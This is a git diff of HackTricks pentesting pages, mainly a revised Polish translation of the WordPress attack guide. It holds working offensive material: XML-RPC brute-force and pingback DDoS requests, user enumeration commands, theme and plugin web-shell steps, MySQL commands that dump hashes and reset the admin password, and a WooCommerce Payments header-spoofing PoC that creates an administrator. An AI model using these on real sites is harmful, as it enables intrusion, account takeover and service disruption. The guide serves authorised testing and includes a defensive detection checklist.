Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) -- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) +- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) - [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 30aaf663f..02f45ef7f 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,39 +4,39 @@ ## Podstawowe informacje -- **Wgrane** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE prawdopodobnie użyjesz tej ścieżki. Na przykład: używając **theme twentytwelve** możesz **access** plik **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- W pliku **wp-config.php** możesz znaleźć hasło użytkownika root bazy danych. +- W pliku **wp-config.php** możesz znaleźć hasło root do bazy danych. - Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Główne pliki WordPress** - `index.php` -- `license.txt` zawiera użyteczne informacje, takie jak zainstalowana wersja WordPress. -- `wp-activate.php` jest używany do procesu aktywacji email podczas zakładania nowej strony WordPress. +- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress. +- `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej strony WordPress. - Foldery logowania (mogą być przemianowane, aby je ukryć): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego rodzaju komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Folder `wp-content` to główny katalog, w którym przechowywane są plugins i themes. -- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę. -- `wp-includes/` to katalog, w którym przechowywane są pliki core, takie jak certyfikaty, fonty, pliki JavaScript i widgety. -- `wp-sitemap.xml` W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML zawierający wszystkie publiczne wpisy oraz publicznie queryable typy wpisów i taksonomie. +- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego typu komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy. +- `wp-content/uploads/` jest katalogiem, w którym przechowywane są wszystkie pliki przesłane na platformę. +- `wp-includes/` to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety. +- `wp-sitemap.xml` W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami. **Post exploitation** -- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy, nazwa użytkownika i hasło, authentication keys and salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny można również użyć do aktywacji trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów. +- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salty oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być pomocne przy rozwiązywaniu problemów. ### Uprawnienia użytkowników - **Administrator** -- **Editor**: Publikuje i zarządza swoimi oraz cudzymi wpisami -- **Author**: Publikuje i zarządza własnymi wpisami +- **Editor**: Publikuje i zarządza własnymi i cudzymi wpisami +- **Author**: Publikuje i zarządza wyłącznie własnymi wpisami - **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować - **Subscriber**: Przegląda wpisy i edytuje swój profil @@ -46,7 +46,7 @@ Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html` -W kodzie źródłowym strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Ogólne wyodrębnianie wersji +### Wydobywanie wersji — ogólnie ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -81,17 +81,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Wtyczki i motywy -Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **actively Brute Force a list of Plugins and Themes** (miejmy nadzieję, że istnieją automatyczne narzędzia, które zawierają te listy). +Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (mamy nadzieję, że istnieją zautomatyzowane narzędzia, które zawierają te listy). ### Użytkownicy -- **ID Brute:** Uzyskujesz prawidłowych użytkowników z witryny WordPress przez Brute Forcing ID użytkowników: +- **ID Brute:** Uzyskujesz ważnych użytkowników z serwisu WordPress poprzez Brute Forcing ID użytkowników: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź to **400**, oznacza to, że id jest **nieprawidłowe**. +Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, wtedy id jest **nieprawidłowe**. -- **wp-json:** Możesz też spróbować uzyskać informacje o użytkownikach, wykonując zapytanie: +- **wp-json:** Możesz również spróbować uzyskać informacje o użytkownikach, wysyłając zapytanie: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -99,15 +99,15 @@ Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkown ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Zauważ, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**. +Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**. -Zwróć również uwagę, że **/wp-json/wp/v2/pages** could leak IP addresses. +Zwróć też uwagę, że **/wp-json/wp/v2/pages** może leak IP addresses. -- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** w zależności od tego, czy **nazwa użytkownika istnieje czy nie**. +- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy **nazwa użytkownika istnieje, czy nie**. ### XML-RPC -Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do uruchomienia DoS na inne zasoby. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do przeprowadzenia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces, na przykład używając [tego](https://github.com/relarizky/wpxploit)). Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie: @@ -122,7 +122,7 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego: +**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które mogą być użyte do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego: ```html wp.getUsersBlogs @@ -132,7 +132,7 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ ``` -Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien się pojawić, jeśli dane uwierzytelniające są nieprawidłowe. +Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W ``` -Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request: +Jest też **szybszy sposób** na brute-force credentials używając **`system.multicall`**, ponieważ możesz spróbować kilku creds w tym samym żądaniu:
**Omijanie 2FA** -Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli więc masz ważne creds, ale główne wejście jest chronione 2FA, **możesz być w stanie nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz mógł wykonać wszystkich akcji dostępnych przez console, ale nadal możesz dojść do RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli masz ważne creds, ale główne wejście jest chronione przez 2FA, **możesz nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS lub skanowanie portów** -If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ -This can be used to ask **tysiące** of Wordpress **sites** to **dostęp** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** **przeskanować** some internal **network** (you can indicate any port). +Jeśli znajdziesz metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego host/port.\ +Może to posłużyć do zmuszenia **tysięcy** Wordpress **sites** do **access** jednej **location** (w ten sposób wywołując **DDoS** w tej lokalizacji), albo możesz użyć tego, aby sprawić, że **Wordpress** przeskanuje jakąś wewnętrzną **network** (możesz wskazać dowolny port). ```html pingback.ping @@ -193,7 +193,7 @@ This can be used to ask **tysiące** of Wordpress **sites** to **dostęp** one * Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty. -Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS. +Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby spowodować DDoS. **DDoS** ```html @@ -209,15 +209,15 @@ Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się ### wp-cron.php DoS -Ten plik zwykle znajduje się w katalogu głównym strony WordPress: **`/wp-cron.php`**\ -Kiedy ten plik jest **wywoływany**, wykonywane jest „heavy” MySQL **query**, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\ -Domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony WordPress), co na stronach o dużym ruchu może powodować problemy (DoS). +Ten plik zwykle znajduje się w katalogu root strony Wordpress: **`/wp-cron.php`**\ +Gdy ten plik jest **wywoływany**, wykonywane jest „ciężkie” zapytanie MySQL, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\ +Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co przy dużym ruchu może powodować problemy (DoS). -Zalecane jest wyłączenie Wp-Cron i utworzenie prawdziwego cronjoba na hoście, który będzie wykonywał potrzebne działania w regularnych odstępach (bez powodowania problemów). +Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które będzie wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów). ### /wp-json/oembed/1.0/proxy - SSRF -Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona WordPress może wykonać żądanie do Ciebie. +Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona Worpress może wykonać żądanie do Ciebie. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je wykorzystać. +To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je exploitować. ## Automatic Tools ```bash @@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Uzyskaj dostęp przez nadpisanie bitu +## Uzyskaj dostęp przez nadpisanie jednego bitu -To raczej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP. +To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Tak więc można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Modyfikacja php z używanego motywu (wymagane dane logowania admina)** +**Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)** Wygląd → Edytor motywu → Szablon 404 (po prawej) -Zamień zawartość na php shell: +Zmień zawartość na php shell: ![](<../../images/image (384).png>) -Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Wyszukaj w internecie, jak uzyskać dostęp do tej zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -267,18 +267,18 @@ aby uzyskać sesję. ## Plugin RCE -### Wtyczka PHP +### PHP plugin -Możliwe, że da się przesłać pliki .php jako wtyczkę.\ -Utwórz swój PHP backdoor używając na przykład: +Może być możliwe przesłanie plików .php jako plugin.\ +Utwórz swój php backdoor używając na przykład: ![](<../../images/image (183).png>) -Następnie dodaj nową wtyczkę: +Następnie dodaj nowy plugin: ![](<../../images/image (722).png>) -Prześlij wtyczkę i kliknij Install Now: +Prześlij plugin i naciśnij Install Now: ![](<../../images/image (249).png>) @@ -290,58 +290,58 @@ Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz p ![](<../../images/image (462).png>) -Otwórz go i zobaczysz URL umożliwiający uruchomienie reverse shell: +Otwórz go i zobaczysz URL do uruchomienia reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Ta metoda polega na zainstalowaniu złośliwej wtyczki znanej z podatności i może zostać wykorzystana do uzyskania web shell. Proces ten jest przeprowadzany przez WordPress dashboard w następujący sposób: +Ta metoda polega na zainstalowaniu malicious plugin znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces wykonywany jest przez WordPress dashboard w następujący sposób: -1. **Pozyskanie wtyczki**: Wtyczka jest pobierana ze źródła takiego jak Exploit DB jak [**here**](https://www.exploit-db.com/exploits/36374). -2. **Instalacja wtyczki**: -- Przejdź do WordPress dashboard, potem do `Dashboard > Plugins > Upload Plugin`. -- Prześlij plik zip pobranej wtyczki. -3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi zostać aktywowana przez dashboard. -4. **Eksploatacja**: -- Z zainstalowaną i aktywowaną wtyczką "reflex-gallery" można ją wykorzystać, ponieważ jest znana z podatności. -- Metasploit framework dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można uzyskać sesję meterpreter, zapewniając nieautoryzowany dostęp do serwisu. -- Należy zaznaczyć, że to tylko jedna z wielu metod wykorzystywania witryny WordPress. +1. **Plugin Acquisition**: plugin jest pobierany ze źródła takiego jak Exploit DB, na przykład [**here**](https://www.exploit-db.com/exploits/36374). +2. **Plugin Installation**: +- Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`. +- Prześlij plik zip pobranego pluginu. +3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany przez dashboard. +4. **Exploitation**: +- Po zainstalowaniu i aktywowaniu pluginu "reflex-gallery" można go exploitować, ponieważ jest znany z podatności. +- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony. +- Należy pamiętać, że jest to tylko jedna z wielu metod wykorzystania podatności w WordPress. -Treść zawiera materiały wizualne ilustrujące kroki w WordPress dashboard podczas instalacji i aktywacji wtyczki. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w legalnym kontekście, takim jak pentesting z wyraźną zgodą. +Zawartość zawiera materiały wizualne przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą. -**Dla bardziej szczegółowych kroków sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## Od XSS do RCE +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. Po więcej informacji sprawdź [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Zapewnia **wsparcie dla Wordpress Versions 6.X.X, 5.X.X and 4.X.X. oraz pozwala na:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** - _**Privilege Escalation:**_ Tworzy użytkownika w WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij swój custom plugin (backdoor) do WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Edytuje wbudowane pluginy w WordPress. -- _**(RCE) Built-In Theme Edit:**_ Edytuje wbudowane motywy w WordPress. -- _**(Custom) Custom Exploits:**_ Niestandardowe exploity dla third-party WordPress Plugins/Themes. +- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowane pluginy w WordPress. +- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowane motywy w WordPress. +- _**(Custom) Custom Exploits:**_ Custom Exploits dla third-party WordPress Plugins/Themes. -## Po eksploatacji +## Post Exploitation Wyodrębnij nazwy użytkowników i hasła: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -Zmień hasło admina: +Zmień hasło administratora: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Pentest wtyczek Wordpress +## Wordpress Plugins Pentest ### Powierzchnia ataku -Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa do znalezienia podatności w jej funkcjach. Poniżej znajdziesz, jak wtyczka może ujawniać funkcjonalność oraz kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalności, jest kluczowa, aby znaleźć podatności w jej działaniu. Poniżej znajdziesz, w jaki sposób wtyczka może ujawniać funkcjonalności, oraz przykłady podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy logiczne, autoryzacji lub uwierzytelniania. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które może posiadać **każdy użytkownik zalogowany w instancji Wordpress** (niezależnie od jego roli). +Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, często bywa tak, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, które **każdy uwierzytelniony użytkownik instancji Wordpress może posiadać** (niezależnie od jego roli). -Te funkcje mogą być użyte do udostępnienia funkcji w wtyczce: +Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); @@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).** > [!CAUTION] -> Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, to funkcja ta tylko weryfikuje, że użytkownik jest zalogowany — zwykle nie sprawdza roli użytkownika. W efekcie użytkownicy o niskich uprawnieniach mogą mieć dostęp do operacji wymagających wyższych uprawnień. +> Ponadto, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany; zazwyczaj nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wyższych uprawnień. - **REST API** -Możliwe jest też udostępnienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji `register_rest_route`: +Możliwe jest też wystawienie funkcji z wordpressa poprzez zarejestrowanie REST API przy użyciu funkcji `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. +The `permission_callback` jest funkcją wywoływaną (callbackiem), która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. -**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.** +**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.** -- **Bezpośredni dostęp do pliku php** +- **Bezpośredni dostęp do pliku PHP** -Oczywiście Wordpress używa PHP, a pliki wewnątrz pluginów są bezpośrednio dostępne z sieci. Jeśli więc plugin ujawnia podatną funkcjonalność, która uruchamia się po samym dostępie do pliku, będzie ona eksploatowalna przez dowolnego użytkownika. +Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Niektóre pluginy implementują “trusted header” skróty dla integracji wewnętrznych lub reverse proxy i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent nadrzędny, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator. +Niektóre wtyczki implementują „trusted header” skróty dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawiania kontekstu bieżącego użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator. -- Skutek: nieautoryzowana eskalacja uprawnień do administratora przez utworzenie nowego administratora za pomocą core users REST route. -- Przykładowy nagłówek: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zwykle pierwsze konto administratora). -- Eksploatowana trasa: `POST /wp-json/wp/v2/users` z tablicą roli nadającą wyższe uprawnienia. +- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora poprzez utworzenie nowego administratora za pomocą core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora). +- Wyeksploatowana trasa: `POST /wp-json/wp/v2/users` z podwyższoną tablicą ról. PoC ```http @@ -393,26 +393,26 @@ Content-Length: 114 ``` Dlaczego to działa -- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzenia uprawnień (capability checks). -- WordPress core oczekuje uprawnienia `create_users` dla tej ścieżki; hack wtyczki omija to, ustawiając bezpośrednio kontekst bieżącego użytkownika z nagłówka. +- The plugin maps a client-controlled header to authentication state and skips capability checks. +- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header. Oczekiwane wskaźniki sukcesu - HTTP 201 z ciałem JSON opisującym utworzonego użytkownika. -- Nowy użytkownik z uprawnieniami admin widoczny w `wp-admin/users.php`. +- Nowy użytkownik z uprawnieniami administratora widoczny w `wp-admin/users.php`. Lista kontrolna wykrywania -- Przeszukaj (grep) pod kątem `getallheaders()`, `$_SERVER['HTTP_...']` lub SDK dostawców, które odczytują niestandardowe nagłówki, aby ustawić kontekst użytkownika (np. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, którym brakuje solidnych sprawdzeń `permission_callback` i które zamiast tego polegają na nagłówkach żądań. -- Szukaj użyć podstawowych funkcji zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie przez wartości nagłówków. +- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context 